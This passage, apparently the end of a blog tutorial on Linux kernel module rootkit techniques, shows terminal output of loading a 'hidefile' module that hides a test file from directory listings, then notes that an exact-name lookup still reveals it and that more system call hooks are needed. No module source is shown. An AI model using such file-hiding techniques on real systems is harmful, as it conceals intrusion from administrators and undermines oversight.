hello.ko     hidefile.c      hidefile.o      reverse_app     reverse-app.c   reverse.mod.o     thisisatestfile.txt
hello.mod.c  hidefile.ko     Makefile        reverse-app     reverse.c       reverse.o
hello.mod.o  hidefile.mod.c  modules.order   reverse-app2    reverse.ko      reverse-test-app
root@dev:~/lkms# insmod ./hidefile.ko
root@dev:~/lkms# ls
hello.c      hello.o         hidefile.mod.o  Module.symvers  reverse-app2.c  reverse.mod.c     reverse-test-app.c
hello.ko     hidefile.c      hidefile.o      reverse_app     reverse-app.c   reverse.mod.o
hello.mod.c  hidefile.ko     Makefile        reverse-app     reverse.c       reverse.o
hello.mod.o  hidefile.mod.c  modules.order   reverse-app2    reverse.ko      reverse-test-app
root@dev:~/lkms# rmmod hidefile
root@dev:~/lkms# ls
hello.c      hello.o         hidefile.mod.o  Module.symvers  reverse-app2.c  reverse.mod.c     reverse-test-app.c
hello.ko     hidefile.c      hidefile.o      reverse_app     reverse-app.c   reverse.mod.o     thisisatestfile.txt
hello.mod.c  hidefile.ko     Makefile        reverse-app     reverse.c       reverse.o
hello.mod.o  hidefile.mod.c  modules.order   reverse-app2    reverse.ko      reverse-test-app

Woohoo! There is 1 problem with this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
root@dev:~/lkms# insmod ./hidefile.ko
root@dev:~/lkms# ls
hello.c      hello.o         hidefile.mod.o  Module.symvers  reverse-app2.c  reverse.mod.c     reverse-test-app.c
hello.ko     hidefile.c      hidefile.o      reverse_app     reverse-app.c   reverse.mod.o
hello.mod.c  hidefile.ko     Makefile        reverse-app     reverse.c       reverse.o
hello.mod.o  hidefile.mod.c  modules.order   reverse-app2    reverse.ko      reverse-test-app
root@dev:~/lkms# ls thisisatestfile.txt
thisisatestfile.txt
root@dev:~/lkms# ls -l thisisatestfile.txt
-rw-r--r-- 1 root root 0 Jul 11 18:18 thisisatestfile.txt

So if you put the whole filename there it still shows that the file exists but we can improve upon that later, we will need to hook different system calls.

Conclusion

There is a lot involved with manipulating the kernel like this, it requires a lot of patients and determination.

You will need to look through a lot of source code and use tools like grep to find exactly what you need to get the job done.

Also strace is very useful when looking for the system calls being used by an application but its also handy to be able to clean up the output for readability.

Happy Hacking :-)